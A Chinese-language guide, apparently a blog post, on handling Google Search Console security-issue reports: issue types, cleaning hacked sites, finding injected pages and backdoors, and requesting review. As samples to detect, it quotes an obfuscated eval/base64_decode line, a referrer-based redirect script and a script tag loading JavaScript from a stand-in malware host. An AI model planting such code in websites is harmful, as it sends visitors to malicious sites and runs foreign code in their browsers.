打開 Google Search Console，首頁原本熟悉的那個綠色勾勾不見了，換成一排刺眼的紅字，寫著「安全性問題」。多數人看到這行字的第一反應是慌，接著才會發現，這份報告在講什麼、要修什麼、修完要去哪裡按送出，官方介面本身其實沒有講得很直白。
安全性問題報告（Security Issues Report）是 Google 用來告訴網站擁有者「你的網站可能對訪客造成傷害」的機制，內容分成遭入侵、惡意軟體、社交工程 3 種情況，每一種對應的清理動作和後續審查管道也不完全一樣。
搞懂這份報告在講哪一類問題，只是第一步。真正決定審查會不會一次過的，是清理有沒有做到官方要求的「全部」，而不是「看得到的那幾頁」。
安全性問題報告是什麼？涵蓋的三種問題類型
第一種是遭入侵的內容，指的是有心人士藉由網站的安全漏洞，在網站擁有者不知情、未經授權的情況下置入內容，常見手法是塞入垃圾連結、隱藏文字，或整批新增網頁。第二種是惡意軟體或垃圾軟體，凡是刻意危害裝置或使用者、涉及欺騙行為，或者對使用者造成負面影響的程式都算在內，這類軟體不一定是駭客裝的，有時候是網站擁有者自己不小心裝上、卻沒發現它會傷害訪客。第三種是社交工程，指的是誘騙訪客做出危險行為，例如假冒信任來源要訪客交出帳號密碼，或誘導他們下載看起來正常、實際上有問題的軟體。
這 3 種情況一旦被判定成立，受影響的網頁在 Google 搜尋結果會被貼上警告標籤，使用者實際點進去造訪時，瀏覽器還會先跳出一整頁的插頁式警告畫面，把訪客攔在網站外面。報告最上方會直接顯示一個數字，那就是目前偵測到的安全性問題總數；如果數字是 0，你看到的會是一個綠色勾號，代表 Google 目前沒有發現任何安全性問題。分清楚自己的網站現在屬於哪一種情況，會直接影響後面該用哪個管道清理、走哪條審查路徑，不是隨便挑一種修完就好。
安全性問題與人工判決處罰不是同一份報告
很多人一看到 Search Console 裡有警告，直覺反應是「網站被 Google 處罰了」，把安全性問題和人工判決處罰（Manual Action）混成同一件事，結果在錯的報告裡找「要求審查」的按鈕，當然怎麼找都找不到。
人工判決處罰的定義，是 Google 的人工審查員判定某個網站的網頁違反了垃圾內容政策，因而對該網站採取的處罰，多數情況是網站被認定「試圖操縱搜尋索引」，結果是排名下滑或整頁從搜尋結果消失。這件事雖然對流量的傷害很大，但使用者完全不會看到任何提示——沒有警告畫面，訪客照樣點得進去，只是搜尋結果排不到而已。
安全性問題報告針對的則是完全不同的情況，網站遭到入侵、被植入惡意軟體，或涉及社交工程，這些都是可能對訪客本人與他的電腦造成損害的狀況，使用者會實際看到瀏覽器插頁式警告或搜尋結果上的警告標籤。這是判斷自己現在該看哪一份報告最直接的分野——有沒有讓訪客看到警告畫面。
2 份報告雖然性質不同，「重審要求」卻是共通的講法，修正了人工判決處罰或安全性問題通知裡指出的問題之後，都是透過同一套機制提出審查。但實際要展開的是各自報告裡對應的那個問題面板，按鈕在哪一份報告裡就要去哪裡點，誤闖另一份報告是找不到入口的。
送出審查前，網站要先徹底清乾淨
在動手清理之前，先弄懂 Google 對「清乾淨」的定義有多嚴格，能省下之後被打回票的時間。官方在報告裡放了 2 句話，分量比看起來重得多。報告展開問題說明後看到的受影響網址清單，只是「示例」，不代表全部；只要有一個受影響網頁沒修正，那些頁面照樣不會回到搜尋結果裡。
換句話說，清理的目標從來不是「把報告列出的那幾個網址修好」，而是「網站上所有受影響的網頁，不管有沒有被列成示例，全部處理掉」。如果報告同時列出好幾個不同的問題，也要全數修正，不能挑一個看起來比較嚴重的先處理、其他先擱著。
查看受駭頁面別用瀏覽器，用指令列更安全
發現網站有問題，第一直覺常常是打開瀏覽器點進那個可疑網址看看發生什麼事，這一步官方明確建議不要做。這麼建議有 2 個理由：第一，惡意軟體常常利用瀏覽器本身的漏洞散布，在瀏覽器裡直接開啟遭感染的網頁，反而可能讓自己的電腦跟著中招；第二，駭客普遍會用偽裝技術，只針對特定對象顯示垃圾內容，網站擁有者自己用一般瀏覽器去看，畫面往往完全正常，反而看不出異狀。
官方建議改用 2 種比較安全的做法。第一種是用網址檢查工具，從 Google 檢索器的角度去看這個網頁，因為多數駭客的變更只有在請求來源被辨識成 Google 檢索器時才會現形，例如只對 referer 是 google.com 的請求顯示垃圾連結，一般訪客或站長自己看都看不到。第二種是直接用 cURL 或 Wget 這類指令列工具送出 HTTP 請求，並且可以指定 referer 或 user-agent，模擬 Google 或特定使用者的身分：
curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.htmlCode language: Bash (bash)這麼做的理由跟前面一樣，駭客常鎖定特定的 user-agent 或 referer 來躲避偵測、只挑容易下手的目標動手，換一個身分再去看，才比較容易看到真實被植入的內容。拿到回傳的原始碼之後，可以先掃幾個可疑程式碼常見的特徵字串，像是 search、eval、base64_decode、unescape 這幾個關鍵字經常出現在被偽裝過的惡意程式碼裡，例如：
eval(base64_decode("d2luZG93LmxvY2F0aW9uPScvL2dvb2dsZS5jb20nOw=="));Code language: PHP (php)看到類似寫法混在正常程式碼裡，大概就能鎖定被植入的位置。
用進階搜尋語法揪出沒列出的受駭頁面
清完報告示例列出的那幾個網址還不夠，因為官方本身就提醒過，有些安全性問題並沒有對應的示例網址可看，這不代表沒有其他頁面受影響，只是系統基於某些因素沒辦法產生示例。要主動把這些漏網的頁面找出來，得靠 Google 搜尋本身的site:運算子。
網站規模比較小的話，直接查site:example.com，把整份索引清單攤開來看，通常就能一眼看出哪些頁面不是自己建立的。網站規模大、頁面數量多的話，單靠瀏覽索引清單效率太低，可以縮小查詢範圍，例如site:example.com pharmacy會列出含有特定垃圾字詞的頁面（pharmacy 可以換成任何常見的垃圾內容關鍵字），或是site:example.com/wp-admin/，把後台目錄底下所有被索引的頁面都列出來，這一招對抓出駭客自己新建的頁面特別有用，因為這類頁面通常不會出現在報告的示例裡。
沒清乾淨的後門，會讓網站再次中招
移除掉看得到的垃圾連結或垃圾頁面，只算清了一半。駭客入侵網站之後，通常會順手留一個後門，方便之後隨時再回來，如果這個後門沒有一併找出來清掉，審查就算當下過了，網站也很快會被重新植入、再次被標記。
常見的植入手法，包含竄改伺服器設定檔做重新導向，像 Apache 的.htaccess或httpd.conf被動過手腳；也可能是在頁面裡塞進一段 JavaScript，判斷訪客身分後把人導去別的網站：
if (document.referrer.match(/google\.com/)) {
window.location("http://malware-site.example/");
}Code language: JavaScript (javascript)或者從外部網域直接載入一段惡意的 JavaScript 檔案：
<script src='http://malware-site.example/js/x55.js'></script>Code language: HTML, XML (xml)官方對「清理網站」這一步的要求很直接，做法是用最後一次正常的備份替換掉受影響的檔案，或是自己動手把垃圾內容相關的程式碼移除，而且要照著完整流程把網站徹底修正，不是挑幾個明顯的地方補一補。被植入的陌生管理員帳號、偽裝成系統檔名的可疑檔案，這些後門如果沒有一併揪出來，就是「徹底清除」跟「表面清除」的分界，也是後面審查被打回票時最常見的原因之一。
安全性問題報告裡的要求審查入口
清理告一段落之後，下一步是找到「要求審查」這個按鈕。它不是另一個獨立的網址或表單，而是要先回到安全性問題報告，展開對應那個問題的說明面板，按鈕才會出現，直接在 Search Console 首頁翻找是找不到的。
依照收到的問題類型不同，實際送審的管道也略有差異。遭到入侵的網站，清除程序做完之後，回到安全性問題報告，找出被標記「全網站相符」或「部分相符」的那個問題，點選要求審查即可。垃圾軟體（含惡意軟體）的情況，一樣是再次打開安全性問題報告提交，這時候報告可能還會顯示警告以及先前看過的受感染網址範例，不用緊張；唯一的例外是，如果通知不是出現在 Search Console，而是出現在廣告投放的帳戶裡，就要改成透過廣告平台自己的支援中心申請，而不是走安全性問題報告。至於網路釣魚或社交工程，同樣在安全性問題報告裡選要求審查即可，另外也可以到 Google 的安全瀏覽網站提出審查，這個管道同時開放給認為自己網頁被誤判成詐騙網站的網站擁有者使用。
不管走哪一條路，官方都提醒同一件事，提出審查之前先用 Wget 或 cURL 檢視首頁，以及先前被駭客修改過的那些網址，確認頁面已經清乾淨、能正常載入，再送出審查要求，比較不會白等一輪審查時間才發現漏改了什麼。
修正說明要寫進去的三件事
要求審查按鈕點下去之後，通常會出現一個文字欄位，讓你說明實際做了什麼。這段說明寫得夠不夠具體，直接影響審查會不會一次過，Google 對這段說明的要求其實只有 3 件事，而且這 3 句話同時出現在安全性問題報告和人工判決處罰報告裡，可以當成所有重審說明共通的骨架：明確說明網站的品質問題、說明修正問題時採取的行動、記錄行動所獲得的成果。
第一件事，是具體點出報告裡寫的是哪一種問題，不能只寫「網站中毒了」這種籠統的說法，而要講清楚實際狀況，例如首頁被植入了重新導向到惡意網站的 JavaScript，或是某個目錄底下被塞進大量垃圾內容頁面。
第二件事，是交代實際處置的動作，而且要具體到能被驗證，例如比對官方原始檔案、移除被竄改過的程式碼檔案，或是清查資料庫、刪掉一個陌生植入的管理員帳號，而不是只寫「已經修正完畢」這種空話。
第三件事，是記錄驗證的方式與結果，把怎麼確認真的乾淨了講出來，例如用網址檢查工具重新檢索頁面，確認裡面已經沒有可疑程式碼，或是用前面提到的 cURL 指令重新檢視一次首頁與被改過的網址，結果都恢復正常。這 3 件事寫得越具體，審查人員越容易判斷問題是不是真的解決了，含糊帶過的說明反而容易被要求補件或直接打回票。
剛買下就有問題的網站，要在說明裡特別註明
如果接手的是一個最近才買下的網站，而安全性問題其實是前一個網站擁有者留下來的，官方對這種情況有明講的特例寫法，先照一般流程修正安全性問題報告裡列出的問題，再透過重審要求主動說明 2 件事：這個網站是最近才買下的，以及網站現在已經遵守 Google 的垃圾內容政策。
這段說明不是可有可無的補充，而是官方直接建議的寫法，原因很直觀，審查人員看到的只有問題本身，不知道背後的來龍去脈，主動交代這是接手的舊問題，能幫助審查更準確地判斷現況，而不是把新舊擁有者的責任混在一起看。如果剛好是這種情況，記得把這段脈絡寫進說明裡，不能只套用一般的修正說明格式。
問題沒修完，先別急著送出審查要求
送出審查要求之後，系統會先回一封確認信，告訴你審查已經開始；在這一輪要求得出最後判定之前，不要重複提交同一個要求。這個機制看起來單純，實際上藏著一個容易被忽略的陷阱，問題根本還沒修完就急著送出，代價並不是「這次沒過，再送一次就好」那麼輕鬆。
官方原文講得很清楚，如果沒把問題修正完就提交重審要求，可能導致下一次能再提交的等待期被拉長，情況嚴重的話，Google 甚至會把這個網站標示成屢次違規網站。也就是說，搶快送出反而可能讓自己陷入更長的等待，甚至留下一個更不利的標籤。與其在清理進度還沒確定的時候賭一把，不如照著前面幾節把該查的都查過一輪，確定清乾淨了再送出。
垃圾內容、惡意軟體、網路釣魚，審查等待時間都不一樣
問題送出去之後，接下來要面對的是等待。官方給的通用區間是幾天到幾週，但某些案例可能需要更久，例如跟連結相關的重審要求。這個區間之所以拉得這麼開，是因為不同問題類型背後的審查方式落差很大。
垃圾內容（遭入侵）的案件審查最花時間，最長可能要等上好幾個星期，原因是這類審查需要人工調查，而且往往得重新處理整批受入侵的網頁，不是自動化流程能一次判定完的。惡意軟體感染的案件相對機械化，審查通常只需要幾天。網路釣魚案件的審查則是最快的，大約一天左右就能有結果。
反過來，如果網站其實根本沒有問題，或者清理得夠徹底，Google 確認之後不用等這麼久，一旦判定網站清潔無虞，瀏覽器和搜尋結果上的警告會在 72 小時內移除。把這兩端放在一起看，等待的長短其實跟問題的性質與清理的徹底程度直接相關，不是隨機決定的。
審查沒通過，代表清除還沒做完整
審查沒通過不是隨機結果，前面幾節其實已經把最常見的幾個原因鋪陳出來了。第一種，是只修正了報告裡列出的示例網址，官方講得很直接，選擇性修正部分頁面的問題，無法讓那些頁面重新出現在搜尋結果裡，其他沒處理到的受影響頁面照樣會被擋著。第二種，是後門沒清乾淨導致重新感染，清理當下看起來乾淨，審查期間卻又被同一個後門重新植入垃圾內容。第三種，是問題根本還沒修完就搶著送審，結果不只是這次沒過，還可能讓下一次能提交的等待期變得更長。
沒過並不代表兩手空空。如果 Google 判定問題還沒修正完成，安全性問題報告可能會顯示更多受感染網址的樣本，協助接下來繼續調查；為了安全起見，搜尋結果和瀏覽器上的警告，在問題確定解決之前都會繼續顯示。收到沒過的結果，回頭比對前面提過的 3 個常見成因，是不是漏改了示例以外的頁面、後門清了沒有、清理做完了沒有，多半就能找到下一輪該補的地方，而不是毫無頭緒地瞎猜哪裡出了錯。
安全性問題報告本身沒有那麼神秘，難的地方從來不是看懂報告寫了什麼，而是願不願意把清理做到官方要求的那個徹底程度，連示例以外的頁面、連留下的後門都一併處理掉。把這件事做到位，審查結果多半只是時間早晚的事，綠色勾號遲早會回到報告最上方。